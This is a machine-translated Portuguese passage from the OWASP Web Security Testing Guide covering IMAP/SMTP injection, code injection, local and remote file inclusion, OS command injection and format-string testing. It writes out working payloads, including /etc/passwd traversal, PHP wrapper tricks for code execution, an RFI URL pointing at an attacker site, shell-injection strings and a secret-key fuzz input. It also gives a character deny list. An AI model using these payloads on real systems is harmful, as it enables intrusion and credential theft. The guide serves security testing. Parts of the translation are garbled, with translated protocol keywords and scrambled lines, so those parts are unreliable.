Os parâmetros especiais IMAP que devem ser usados são:
No servidor IMAP No servidor SMTP
Autenticação e-mail do emissor
operações com caixas de correio (listar, ler, criar, excluir, renomear) E-mail de destino
operações com mensagens (ler, copiar, mover, excluir) Sujeito
Desconexão Corpo da mensagem
Arquivos anexados
Neste exemplo, o parâmetro “mailbox” está sendo testado manipulando todas as requisições com o parâmetro em:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
Os seguintes exemplos podem ser usados.
Atribua um valor nulo ao parâmetro:
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
Substitua o valor por um valor aleatório:
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
Adicione outros valores ao parâmetro:
http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
' "
Adicione caracteres especiais não padrão (ou seja: \ , , , @ , # , ! , | ):
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
Elimine o parâmetro:
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
O resultado final do teste acima dá ao testador três situações possíveis: S1 - O aplicativo retorna um código/mensagem de erro S2 - O aplicativo
não retorna um código/mensagem de erro, mas não realiza a operação solicitada S3 - O aplicativo não não retorna um código/mensagem de erro e
realiza a operação solicitada normalmente
298
As situações S1 e S2 representam injeção IMAP/SMTP bem-sucedida.
O objetivo de um invasor é receber a resposta S1, pois é um indicador de que o aplicativo é vulnerável a injeção e manipulação posterior.
Vamos supor que um usuário recupere os cabeçalhos de e-mail usando a seguinte solicitação HTTP:
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
Um invasor pode modificar o valor do parâmetro INBOX injetando o caractere " (%22 usando codificação de URL):
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
Nesse caso, a resposta do aplicativo pode ser:
ERRO: Solicitação inválida ou malformada.

Consulta: SELECIONE "INBOX""
O servidor respondeu: argumentos extras inesperados para selecionar
A situação S2 é mais difícil de testar com sucesso. O testador precisa usar injeção de comando cega para determinar se o servidor está
vulnerável.
Por outro lado, a última situação (S3) não é relevante neste parágrafo.
Lista de parâmetros vulneráveis
Funcionalidade afetada
Tipo de injeção possível (IMAP/SMTP)
Compreendendo o fluxo de dados e a estrutura de implantação do cliente Depois de identificar
todos os parâmetros vulneráveis (por exemplo, pass_id ), o testador precisa determinar qual nível de injeção é possível e, em seguida,
projetar um plano de teste para explorar ainda mais o aplicativo.
Neste caso de teste, detectamos que o parâmetro pass_id do aplicativo é vulnerável e é usado na seguinte solicitação:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
Usando o seguinte caso de teste (fornecendo um valor alfabético quando um valor numérico é necessário):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
irá gerar a seguinte mensagem de erro:
ERRO: Solicitação inválida ou malformada.

Consulta: FETCH test:test BODY[HEADER]
O servidor respondeu: Erro no comando IMAP recebido pelo servidor.
Neste exemplo, a mensagem de erro retornou o nome do comando executado e os parâmetros correspondentes.
Em outras situações, a mensagem de erro ( não controlada pelo aplicativo) contém o nome do comando executado, mas a leitura do RFC
adequado permite ao testador entender quais outros possíveis comandos podem ser executados.
299
Se o aplicativo não retornar mensagens de erro descritivas, o testador precisa analisar a funcionalidade afetada para deduzir todos os
comandos (e parâmetros) possíveis associados à funcionalidade mencionada acima. Por exemplo, se um parâmetro vulnerável foi detectado
na funcionalidade de criação de caixa de correio, é lógico supor que o comando IMAP afetado é CREATE . De acordo com o RFC, o comando
CREATE aceita um parâmetro que especifica o nome da caixa de correio a ser criada.
Lista de comandos IMAP/SMTP afetados
Tipo, valor e número de parâmetros esperados pelos comandos IMAP/SMTP afetados
Injeção de comando IMAP/SMTP

Depois que o testador identifica os parâmetros vulneráveis e analisa o contexto em que são executados, o próximo estágio é explorar a
funcionalidade.
Esta etapa tem dois resultados possíveis:
1. A injeção é possível em um estado não autenticado: a funcionalidade afetada não requer que o usuário seja
autenticado. Os comandos injetados (IMAP) disponíveis são limitados a: CAPACIDADE , NOOP , AUTENTICAR ,
CONECTE-SE , e LOGOUT .
2. A injeção só é possível em um estado autenticado: a exploração bem-sucedida requer que o usuário esteja totalmente
autenticado antes que o teste possa continuar.
De qualquer forma, a estrutura típica de uma injeção IMAP/SMTP é a seguinte:
Cabeçalho: final do comando esperado; Corpo:
injeção do novo comando; Rodapé: início do
comando esperado.
É importante lembrar que, para executar um comando IMAP/SMTP, o comando anterior deve ser finalizado com a sequência CRLF ( %0d%0a ).
Suponhamos que na etapa Identificando parâmetros vulneráveis , o atacante detecte que o parâmetro message_id na seguinte requisição
está vulnerável:
http://<webmail>/read_email.php?message_id=4791
Vamos supor também que o resultado da análise realizada no estágio 2 (“Entendendo o fluxo de dados e a estrutura de implantação do cliente”)
identificou o comando e os argumentos associados a este parâmetro como:
FETCH 4791 CORPO [CABEÇALHO]
Neste cenário, a estrutura de injeção IMAP seria:
http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPACIDADE%0d%0aV101 FETCH 4791
O que geraria os seguintes comandos:
???? FETCH 4791 CORPO [CABEÇALHO]

CAPACIDADE V100
V101 FETCH 4791 CORPO [CABEÇALHO]
Onde:
300
Cabeçalho = 4791 CORPO[CABEÇALHO]

Corpo = %0d%0aV100 CAPACIDADE%0d%0a
Rodapé = V101 FETCH 4791
Lista de comandos IMAP/SMTP afetados
Injeção arbitrária de comando IMAP/SMTP
Referências
Artigos técnicos
RFC 0821 “Simple Mail Transfer Protocol”

RFC 3501 “Internet Message Access Protocol - Versão 4rev1”
Vicente Aguilera Díaz: “MX Injection: Capturando e explorando servidores de correio ocultos”
301
Teste para injeção de código
EU IRIA
WSTG-INPV-11
Resumo
Esta seção descreve como um testador pode verificar se é possível inserir o código como entrada em uma página da Web e executá-lo pelo servidor
da Web.
Na injeção de código testando, um testador envia entrada que é processada pelo servidor web como código dinâmico ou como um arquivo incluído.
Esses testes podem ter como alvo vários mecanismos de script do lado do servidor, por exemplo, ASP ou PHP. Validação de entrada adequada e
práticas de codificação segura precisam ser empregadas para proteção contra esses ataques.
Objetivos do teste
Identifique os pontos de injeção onde você pode injetar código no aplicativo.
Como testar
Teste de Caixa Preta
Testando vulnerabilidades de injeção de PHP
Usando a querystring, o testador pode injetar código (neste exemplo, uma URL maliciosa) para ser processado como parte do arquivo incluído:
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
A URL maliciosa é aceita como parâmetro para a página PHP, que posteriormente usará o valor em um arquivo incluído.
Teste de caixa cinza Teste
para vulnerabilidades de injeção de código ASP Examine
o código ASP para a entrada do usuário usada em funções de execução. O usuário pode inserir comandos no campo de entrada de dados?
Aqui, o código ASP salvará a entrada em um arquivo e o executará:
<%
If not isEmpty(Request("Data" ) ) Then Dim fso, f 'Os
dados de entrada do usuário são gravados em um
arquivo chamado data.txt Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True) f.Write Request("Data") &

vbCrLf f.close
Definir f = nada
Definir fso = Nada
'Data.txt é executado
Server.Execute("data.txt" )
Outro
%>
<forma>
<input name="Dados" /><input type="enviar" name="Inserir dados" />
</form>
Machine
302
<%
Fim se
%>)))
Referências
Foco em segurança
Insecure.org
Wikipédia
Revisão do código para injeção de sistema operacional
303
Teste para inclusão de arquivo local
Resumo
A vulnerabilidade de inclusão de arquivo permite que um invasor inclua um arquivo, geralmente explorando mecanismos de “inclusão dinâmica de arquivo”
implementados no aplicativo de destino. A vulnerabilidade ocorre devido ao uso de entrada fornecida pelo usuário sem validação adequada.
Isso pode levar a algo como a saída do conteúdo do arquivo, mas dependendo da gravidade, também pode levar a:
Execução de código no servidor web
Execução de código no lado do cliente, como JavaScript, que pode levar a outros ataques, como cross site scripting
(XSS)
Negação de Serviço (DoS)
Divulgação de informações confidenciais
A inclusão local de arquivos (também conhecida como LFI) é o processo de inclusão de arquivos, que já estão presentes localmente no servidor, por meio
da exploração de procedimentos de inclusão vulneráveis implementados no aplicativo. Essa vulnerabilidade ocorre, por exemplo, quando uma página recebe,
como entrada, o caminho para o arquivo que deve ser incluído e essa entrada não é devidamente higienizada, permitindo que caracteres de travessia de
diretório (como ponto-ponto-barra) sejam injetados. Embora a maioria dos exemplos aponte para scripts PHP vulneráveis, devemos ter em mente que isso
também é comum em outras tecnologias como JSP, ASP e outras.
Como testar
Como o LFI ocorre quando os caminhos passados para incluir as instruções não são sanitizados adequadamente, em uma abordagem de teste de caixa
preta, devemos procurar scripts que usam nomes de arquivos como parâmetros.
Considere o seguinte exemplo:
http://vulnerable_host/preview.php?file=example.html
Este parece ser um lugar perfeito para tentar o LFI. Se um invasor tiver sorte e, em vez de selecionar a página apropriada da matriz por seu nome, o script
incluir diretamente o parâmetro de entrada, será possível incluir arquivos arbitrários no
servidor.
A prova de conceito típica seria carregar o arquivo passwd:
http://vulnerable_host/preview.php?file=../../../../etc/passwd
Se as condições mencionadas acima forem atendidas, um invasor verá algo como o seguinte:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/ bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
Mesmo quando existe tal vulnerabilidade, sua exploração pode ser mais complexa em cenários da vida real. Considere o seguinte trecho de código:
304
<?php include($_GET['arquivo']..php"); ?>
A substituição simples por um nome de arquivo aleatório não funcionaria, pois o postfix .php é anexado à entrada fornecida. Para contornar
isso, um testador pode usar várias técnicas para obter a exploração esperada.
Injeção de byte nulo
O caractere nulo (também conhecido como terminador nulo ou byte nulo ) é um caractere de controle com o valor zero presente em muitos
conjuntos de caracteres que está sendo usado como um caractere reservado para marcar o final de uma string. Uma vez usado, qualquer
caractere após este byte especial será ignorado. Normalmente, a maneira de injetar esse caractere seria com a string codificada de URL %00 ,
anexando-a ao caminho solicitado. Em nosso exemplo anterior, executar uma solicitação para http://vulnerable_host/preview.php?file=../../../../
etc/passwd%00 iria ignorar a extensão .php sendo adicionada ao nome do arquivo de entrada , retornando a um invasor uma lista de usuários
básicos como resultado de uma exploração bem-sucedida.
Truncamento de caminho e ponto
A maioria das instalações do PHP tem um limite de nome de arquivo de 4096 bytes. Se qualquer nome de arquivo for maior que esse
comprimento, o PHP simplesmente o trunca, descartando quaisquer caracteres adicionais. Abusar desse comportamento torna possível fazer
com que o mecanismo do PHP ignore a extensão .php movendo-a para fora do limite de 4096 bytes. Quando isso acontece, nenhum erro é
acionado; os caracteres adicionais são simplesmente descartados e o PHP continua sua execução normalmente.
Esse bypass normalmente seria combinado com outras estratégias de bypass lógico, como codificar parte do caminho do arquivo com
codificação Unicode, a introdução de codificação dupla ou qualquer outra entrada que ainda representasse o nome de arquivo desejado válido.
PHP Wrappers
Vulnerabilidades de inclusão de arquivo local são geralmente vistas como vulnerabilidades somente leitura que um invasor pode usar para ler
dados confidenciais do servidor que hospeda o aplicativo vulnerável. No entanto, em algumas implementações específicas, esta vulnerabilidade
pode ser usada para atualizar o ataque de LFI para Execução Remota de Código vulnerabilidades que podem comprometer totalmente o host.
Esse aprimoramento é comum quando um invasor pode combinar a vulnerabilidade LFI com determinados PHP
invólucro.
Um wrapper é um código que envolve outro código para executar alguma funcionalidade adicional. O PHP implementa muitos wrappers
integrados para serem usados com funções do sistema de arquivos. Uma vez que seu uso é detectado durante o processo de teste de um
aplicativo, é uma boa prática tentar abusar dele para identificar o risco real da(s) fraqueza(s) detectada(s). Abaixo você pode obter uma lista
com os wrappers mais usados, embora você deva considerar que não é exaustiva e ao mesmo tempo é possível registrar wrappers
personalizados que, se empregados pelo destino, exigiriam uma análise ad hoc mais profunda.
Filtro PHP
Usado para acessar o sistema de arquivos local; este é um wrapper que não diferencia maiúsculas de minúsculas e fornece a capacidade de
aplicar filtros a um fluxo no momento da abertura de um arquivo. Este wrapper pode ser usado para obter o conteúdo de um arquivo impedindo
que o servidor o execute. Por exemplo, permitir que um invasor leia o conteúdo de arquivos PHP para obter o código-fonte para identificar
informações confidenciais, como credenciais ou outras vulnerabilidades exploráveis.
O wrapper pode ser usado como php://filter/convert.base64-encode/resource=FILE onde FILE é o arquivo a ser recuperado. Como resultado
do uso dessa execução, o conteúdo do arquivo de destino seria lido, codificado em base64 (essa é a etapa que impede a execução do lado do
servidor) e retornado ao User-Agent.
PHP ZIP
No PHP 7.2.0, o wrapper zip:// foi introduzido para manipular arquivos zip compactados. Este wrapper espera a seguinte estrutura de parâmetro:
zip:///filename_path#internal_filename onde filename_path é o caminho para o
305
arquivo malicioso e internal_filename é o caminho onde o arquivo malicioso é colocado dentro do arquivo ZIP processado.
Durante a exploração, é comum que o # seja codificado com seu valor URL codificado %23 .
O abuso deste wrapper pode permitir que um invasor crie um arquivo ZIP malicioso que pode ser carregado no servidor, por exemplo, como uma imagem
de avatar ou usando qualquer sistema de upload de arquivo disponível no site de destino (o wrapper php:zip:// não exigem que o arquivo zip tenha
qualquer extensão específica) para ser executado pela vulnerabilidade LFI.
Para testar essa vulnerabilidade, o procedimento a seguir pode ser seguido para atacar o exemplo de código anterior fornecido.
1. Crie o arquivo PHP a ser executado, por exemplo com o conteúdo <?php phpinfo(); ?> e salve-o como code.php 2. Compacte-o como um novo
arquivo ZIP chamado target.zip 3. Renomeie o arquivo target.zip para target.jpg para ignorar a validação da extensão e carregá-lo no site de destino
como sua imagem de avatar.
4. Supondo que o arquivo target.jpg seja armazenado localmente no servidor para o caminho ../avatar/target.jpg , explore a vulnerabilidade com o
PHP ZIP wrapper injetando a seguinte carga útil no URL vulnerável: zip://. ./avatar/target.jpg%23code (lembre-se que %23 corresponde a # ).
Como em nosso exemplo a extensão .php está concatenada com nossa carga útil, a solicitação para http://vulnerable_host/preview.php?file=zip://../
avatar/target.jpg%23code resultará na execução do code.php existente no arquivo ZIP malicioso.
Dados PHP
Disponível desde o PHP 5.2.0, este wrapper espera o seguinte uso: data://text/plain;base64,BASE64_STR onde BASE64_STR deve ser o conteúdo
codificado em Base64 do arquivo a ser processado. É importante considerar que este wrapper só estaria disponível se a opção allow_url_include
estivesse habilitada.
Para testar o LFI usando este wrapper, o código a ser executado deve ser codificado em Base64, por exemplo, o <?php phpinfo(); ?> código seria
codificado como: PD9waHAgcGhwaW5mbygpOyA/Pg== então a carga resultaria como:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== .
Espera do PHP
Este wrapper, que não está habilitado por padrão, fornece acesso aos processos stdio para serem usados , stdout e stderr . Esperando
como expect://command o servidor executaria o comando fornecido no BASH e retornaria seu resultado.
Remediação
A solução mais eficaz para eliminar as vulnerabilidades de inclusão de arquivo é evitar a passagem de entradas enviadas pelo usuário para qualquer
sistema de arquivos/API de estrutura. Se isso não for possível, o aplicativo pode manter uma lista de permissões de arquivos, que podem ser incluídos
pela página, e então usar um identificador (por exemplo, o número do índice) para acessar o arquivo selecionado. Qualquer requisição contendo um
identificador inválido tem que ser rejeitada, desta forma não há superfície de ataque para usuários maliciosos manipularem o caminho.
Confira a folha de dicas de upload de arquivo para boas práticas de segurança neste tópico.
Ferramentas
cádimo
Suíte LFI
Proxy de Ataque Zed OWASP (ZAP)
Referências
Wikipédia
caractere nulo
Codificação Unicode
Machine
306
Codificação Dupla
Protocolos e wrappers suportados pelo PHP
RFC 2397 - O esquema de URL de “dados”

Machine
307
Teste para inclusão de arquivo remoto
Resumo
A vulnerabilidade de inclusão de arquivo permite que um invasor inclua um arquivo, geralmente explorando mecanismos de “inclusão dinâmica de
arquivo” implementados no aplicativo de destino. A vulnerabilidade ocorre devido ao uso de entrada fornecida pelo usuário sem validação adequada.
Isso pode levar a algo como a saída do conteúdo do arquivo, mas dependendo da gravidade, também pode levar a:
Execução de código no servidor web
Execução de código no lado do cliente, como JavaScript, que pode levar a outros ataques, como cross site scripting
(XSS)
Negação de Serviço (DoS)

Divulgação de informações confidenciais
A inclusão remota de arquivos (também conhecida como RFI) é o processo de inclusão de arquivos remotos por meio da exploração de procedimentos
de inclusão vulneráveis implementados no aplicativo. Essa vulnerabilidade ocorre, por exemplo, quando uma página recebe, como entrada, o caminho
para o arquivo a ser incluído e essa entrada não é devidamente higienizada, permitindo a injeção de URL externa. Embora a maioria dos exemplos
aponte para scripts PHP vulneráveis, devemos ter em mente que isso também é comum em outras tecnologias como JSP, ASP e outras.
Como testar
Como o RFI ocorre quando os caminhos passados para as instruções “include” não são sanitizados adequadamente, em uma abordagem de teste de
caixa preta, devemos procurar scripts que usam nomes de arquivos como parâmetros. Considere o seguinte exemplo de PHP:
$incfile = $_REQUEST["arquivo"];
include($incfile.".php");
Neste exemplo, o caminho é extraído da solicitação HTTP e nenhuma validação de entrada é feita (por exemplo, verificando a entrada em uma lista
de permissões), portanto, esse trecho de código resulta vulnerável a esse tipo de ataque. Considere a seguinte URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
Neste caso, o arquivo remoto será incluído e qualquer código contido nele será executado pelo servidor.
Remediação
A solução mais eficaz para eliminar as vulnerabilidades de inclusão de arquivo é evitar a passagem de entradas enviadas pelo usuário para qualquer
sistema de arquivos/API de estrutura. Se isso não for possível, o aplicativo pode manter uma lista de permissões de arquivos, que podem ser incluídos
pela página, e então usar um identificador (por exemplo, o número do índice) para acessar o arquivo selecionado. Qualquer requisição contendo um
identificador inválido tem que ser rejeitada, desta forma não há superfície de ataque para usuários maliciosos manipularem o caminho.
Referências
“Inclusão remota de arquivos”
Wikipedia: “Inclusão remota de arquivos”

308
Teste para injeção de comando
EU IRIA
WSTG-INPV-12
Resumo
Este artigo descreve como testar um aplicativo para injeção de comando do sistema operacional. O testador tentará injetar um comando do sistema
operacional por meio de uma solicitação HTTP para o aplicativo.
A injeção de comandos do sistema operacional é uma técnica usada por meio de uma interface da web para executar comandos do sistema operacional
em um servidor da web. O usuário fornece comandos do sistema operacional por meio de uma interface da Web para executar os comandos do sistema
operacional. Qualquer interface da web que não seja devidamente sanitizada está sujeita a esta exploração. Com a capacidade de executar comandos do
sistema operacional, o usuário pode fazer upload de programas maliciosos ou até mesmo obter senhas. A injeção de comandos do SO pode ser evitada
quando a segurança é enfatizada durante o design e desenvolvimento de aplicativos.
Objetivos do teste
Identificar e avaliar os pontos de injeção de comando.
Como testar
Ao visualizar um arquivo em um aplicativo da web, o nome do arquivo geralmente é mostrado na URL. Perl permite canalizar dados de um processo para
uma instrução aberta. O usuário pode simplesmente anexar o símbolo Pipe | no final do nome do arquivo.
URL de exemplo antes da alteração:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Exemplo de URL modificado:
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
Isso executará o comando /bin/ls .
Acrescentar um ponto e vírgula ao final de um URL para uma página .PHP seguido por um comando do sistema operacional executará o comando. %3B é
URL codificado e decodifica para ponto e vírgula
Exemplo:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Exemplo
Considere o caso de um aplicativo que contém um conjunto de documentos que você pode navegar na Internet. Se você ativar um proxy pessoal (como
ZAP ou Burp Suite), poderá obter um POST HTTP como o seguinte ( http://www.example.com/public/doc ):
POST /public/doc HTTP/1.1 Host:

www.example.com [...]
Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie:

JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Autorização: Básica T2Vbc1Q9Z3V2Tc3e=
Tipo de conteúdo: application/x-www-form-urlencoded
309
Comprimento do conteúdo: 33
Doc=Doc1.pdf
Nesta solicitação de postagem, notamos como o aplicativo recupera a documentação pública. Agora podemos testar se é possível adicionar um
comando do sistema operacional para injetar no POST HTTP. Tente o seguinte ( http://www.example.com/public/doc ):
POST /public/doc HTTP/1.1 Host:

www.example.com [...]
Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie:

JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Autorização: Básica T2Vbc1Q9Z3V2Tc3e=
Tipo de conteúdo: application/x-www-form-urlencoded
Doc=Doc1.pdf+|+Dir c:\
Caso a aplicação não valide a requisição, podemos obter o seguinte resultado:
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'

Saída...
Il volume nell'unità C non ha etichetta.
Número da série Del volume: 8E3F-4B61
Diretório de c:\
18/10/2006 00:27 2.675 Dir_Prog.txt 18/10/2006
00:28 3.887 Dir_ProgFile.txt 16/11/2006 10:43
documento
11/11/2006 17:25
Documentos e Configurações
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25.934
OWASP1.JPG
11/03/2006 18:29
Prog
18/11/2006 11:20
Arquivos de
programas 16/11/2006 21:12
Programas
24/10/2006 18:25
Configuração 24/10/2006 23:37

Tecnologias
18/11/2006 11:14
3 Arquivo 32.496 bytes
13 Diretório 6.921.269.248 bytes disponíveis
Código de retorno: 0
Nesse caso, realizamos com sucesso um ataque de injeção de sistema operacional.
Caracteres Especiais para Injeção de Comando

' !
O seguinte caractere especial pode ser usado para injeção de comando, como | ;&$><
cmd1|cmd2 : Usos de | fará com que o comando 2 seja executado se a execução do comando 1 for bem-sucedida ou não.
cmd1;cmd2 : Usos de ; fará com que o comando 2 seja executado se a execução do comando 1 for bem-sucedida ou não.
310
cmd1||cmd2 : O comando 2 só será executado se a execução do comando 1 falhar.

cmd1&&cmd2 : O comando 2 só será executado se a execução do comando 1 for bem-sucedida.
$(cmd) : Por exemplo, echo $(whoami) ou $(touch test.sh; echo 'ls' > test.sh)
cmd : É usado para executar um comando específico. Por exemplo, whoami
>(cmd) : >(ls)
<(cmd) : <(ls)
API perigosa de revisão de código Esteja ciente
dos usos da API a seguir, pois ela pode apresentar riscos de injeção de comando.
Java
runtime.exec()
C/C++
sistema
executivo
ShellExecute
Pitão
executivo
avaliação
sistema operacional
os.popen
subprocess.popen
subprocess.call
PHP
sistema
shell_exec
executivo
proc_open
avaliação
Remediação
Sanitização
A URL e os dados do formulário precisam ser limpos para caracteres inválidos. Uma lista de negação de caracteres é uma opção, mas pode
ser difícil pensar em todos os caracteres para validar. Também pode haver alguns que ainda não foram descobertos.
Uma lista de permissões contendo apenas caracteres permitidos ou lista de comandos deve ser criada para validar a entrada do usuário.
Personagens que foram perdidos, bem como ameaças não descobertas, devem ser eliminados por esta lista.
A lista geral de negações a ser incluída para injeção de comando pode ser | ;&$>< ' \ ! >> #
*' . "
Escapar ou filtrar caracteres especiais para janelas, ( )<>& |=?; [ ]^~! %@/\
:+ *'
, ` Escapar ou filtrar caracteres especiais para Linux, { } ( )><& |=?; [ ]$–#~
" `
! . %/\:+ ,
Permissões
O aplicativo da web e seus componentes devem ser executados sob permissões estritas que não permitam a execução de comandos do
sistema operacional. Tente verificar todas essas informações para testar do ponto de vista de um teste de caixa cinza.
311
Ferramentas
OWASP WebGoatName
Commix
Referências
Teste de penetração para aplicativos da Web (parte dois)

SO Commanding
CWE-78: Neutralização imprópria de elementos especiais usados em um comando do SO ('OS Command Injection')
ENV33-C. Não chame system()

312
Testando estouro de buffer
EU IRIA
WSTG-INPV-13
Este conteúdo foi removido

313
Teste para injeção de string de formato
EU IRIA
WSTG-INPV-13
Resumo
Uma string de formato é uma sequência de caracteres terminada em nulo que também contém especificadores de conversão interpretados ou convertidos em
tempo de execução. Se o código do lado do servidor concatenar a entrada de um usuário com uma string de formato, um invasor pode anexar especificadores
de conversão adicionais para causar um erro de tempo de execução, divulgação de informações ou estouro de buffer.
O pior caso para vulnerabilidades de strings de formato ocorre em linguagens que não verificam argumentos e também incluem um especificador %n que grava
na memória. Essas funções, se exploradas por um invasor que modifica uma string de formato, podem causar divulgação de informações e execução de código:
C e C++ printf e métodos semelhantes fprintf, sprintf, snprintf
Perl printf e sprintf
Essas funções de string de formato não podem gravar na memória, mas os invasores ainda podem causar a divulgação de informações alterando as strings de
formato para valores de saída que os desenvolvedores não pretendiam enviar:
Python 2.6 e 2.7 str.format e Python 3 unicode str.format pode ser modificado injetando strings que podem apontar para outras variáveis em memória
As seguintes funções de string de formato podem causar erros de tempo de execução se o invasor adicionar especificadores de conversão:
Java String.format e PrintStream.format PHP printf
O padrão de código que causa uma vulnerabilidade de string de formato é uma chamada para uma função de formato de string que contém entrada de usuário
não sanitizada. O exemplo a seguir mostra como um printf de depuração pode tornar um programa vulnerável:
O exemplo em C:
char *userName = /* entrada do campo controlado pelo usuário */;
printf("DEBUG Usuário atual: ");

// Código de depuração vulnerável
printf(userName);
O exemplo em Java:
final String userName = /* entrada do campo controlado pelo usuário */;
System.out.printf("DEBUG Usuário atual: "); // Código

vulnerável:
System.out.printf(userName);
Nesse exemplo específico, se o invasor definir seu userName para ter um ou mais especificadores de conversão, haverá um comportamento indesejado. O
exemplo C imprimiria o conteúdo da memória se userName continha %p%p%p%p%p , e pode corromper o conteúdo da memória se houver um %nNo
naexemplo
string.
Java, um nome de usuário contendo qualquer especificador que

314
precisa de uma entrada (incluindo %x ou %s ) faria com que o programa travasse com IllegalFormatException . Embora os exemplos ainda estejam sujeitos
a outros problemas, a vulnerabilidade pode ser corrigida por argumentos printf de printf("DEBUG
Usuário atual: %s", userName) .
Objetivos do teste
Avalie se a injeção de especificadores de conversão de string de formato em campos controlados pelo usuário causa um comportamento indesejado
do aplicativo.
Como testar
Os testes incluem a análise do código e a injeção de especificadores de conversão como entrada do usuário no aplicativo em teste.
Análise Estática
As ferramentas de análise estática podem encontrar vulnerabilidades de string de formato no código ou em binários. Exemplos de ferramentas incluem:
C e C++: localizador de falhas
Java: regra FindSecurityBugs FORMAT_STRING_MANIPULATION
PHP: Analisador do formatador de strings em phpsa
Inspeção manual de código A análise
estática pode perder casos mais sutis, incluindo strings de formato geradas por código complexo. Para procurar vulnerabilidades manualmente em uma base
de código, um testador pode procurar todas as chamadas na base de código que aceitam uma string de formato e rastrear para garantir que entradas não
confiáveis não possam alterar a string de formato.
Os testadores de injeção de especificador de
conversão podem verificar no nível de teste de unidade ou de teste de sistema completo enviando especificadores de conversão em qualquer entrada de
string. Fuzz o programa usando todos os especificadores de conversão para todos os idiomas usados pelo sistema em teste. Consulte a página de ataque
de sequência de formato OWASP para possíveis entradas a serem usadas. Se o teste falhar, o programa travará ou exibirá uma saída inesperada. Se o
teste for aprovado, a tentativa de enviar um especificador de conversão deve ser bloqueada ou a string deve passar pelo sistema sem problemas, como
acontece com qualquer outra entrada válida.
Os exemplos nas subseções a seguir têm um URL deste formato:
https://vulnerable_host/userinfo?username=x
O valor controlado pelo usuário é x (para o parâmetro username ).
Injeção Manual
Os testadores podem realizar um teste manual usando um navegador da Web ou outras ferramentas de depuração de API da Web. Navegue até o aplicativo
da web ou site de forma que a consulta tenha especificadores de conversão. Observe que a maioria dos especificadores de conversão precisa de codificação
se enviados dentro de um URL porque contêm caracteres especiais, incluindo % e { . O teste pode introduzir uma string de especificadores %s%s%s%n
navegando com o seguinte URL:
https://vulnerable_host/userinfo?username=%25s%25s%25s%25n
Se o site estiver vulnerável, o navegador ou a ferramenta deve receber um erro, que pode incluir um tempo limite ou um código de retorno HTTP 500.
O código Java retorna o erro
java.util.MissingFormatArgumentException: especificador de formato '%s'
Dependendo da implementação C, o processo pode travar completamente com falha de segmentação .
Fuzzing assistido por ferramenta

315
Ferramentas fuzzing, incluindo wfuzz pode automatizar testes de injeção. Para wfuzz, comece com um arquivo de texto (fuzz.txt neste exemplo) com
uma entrada por linha:
fuzz.txt:
alice
%s%s%s%n
%p%p%p%p%p
{event.__init__.__globals__[CONFIG][SECRET_KEY]}
O arquivo fuzz.txt contém o seguinte:
Uma entrada válida para verificar se o aplicativo pode processar uma entrada normal
Duas strings com especificadores de conversão semelhantes a C
Um especificador de conversão Python para tentar ler variáveis globais
Para enviar o arquivo de entrada fuzzing para o aplicativo da web em teste, use o seguinte comando:
wfuzz -c -z file,fuzz.txt,urlencode https://vulnerable_host/userinfo?username=FUZZ
Na chamada acima, o argumento urlencode permite o escape apropriado para as strings e FUZZ (com letras maiúsculas) informa à ferramenta onde
introduzir as entradas.
Um exemplo de saída é o seguinte
EU IRIA
Linhas de resposta Palavra caracteres Carga útil
==================================================== ===================
000000002: 500 0L 5W 142 canais "%25s%25s%25s%25n"

000000003: 500 0L 5W 137 Ch "%25p%25p%25p%25p%25p"
000000004: 200 0L 1W 48 canais
"%7Bevent.__init__.__globals__%5BCONFIG%5D%5BSECRET_KEY%5D%7D"
000000001: 200 0L 1W 5 canais "alice"
O resultado acima valida a fraqueza do aplicativo para a injeção de especificadores de conversão semelhantes a C %s e %p .
Machine
316
Teste para vulnerabilidade incubada
EU IRIA
WSTG-INPV-14
Resumo
Também conhecido como ataques persistentes, o teste incubado é um método de teste complexo que precisa de mais de uma vulnerabilidade de validação de dados para
funcionar. Vulnerabilidades incubadas são normalmente usadas para conduzir ataques de “watering hole” contra usuários de aplicativos da web legítimos.
As vulnerabilidades incubadas têm as seguintes características:
O vetor de ataque precisa ser persistido em primeiro lugar, ele precisa ser armazenado na camada de persistência, e isso só ocorreria se a validação de dados fraca
estivesse presente ou os dados chegassem ao sistema por meio de outro canal, como um console de administração ou diretamente por meio de um processo em
lote de back-end.
Em segundo lugar, uma vez que o vetor de ataque fosse “recuperado”, o vetor precisaria ser executado com sucesso. Por exemplo, um ataque XSS incubado exigiria
validação de saída fraca para que o script fosse entregue ao cliente em seu formato executável.
A exploração de algumas vulnerabilidades, ou mesmo de características funcionais de uma aplicação web, permitirá que um invasor plante um dado que posteriormente
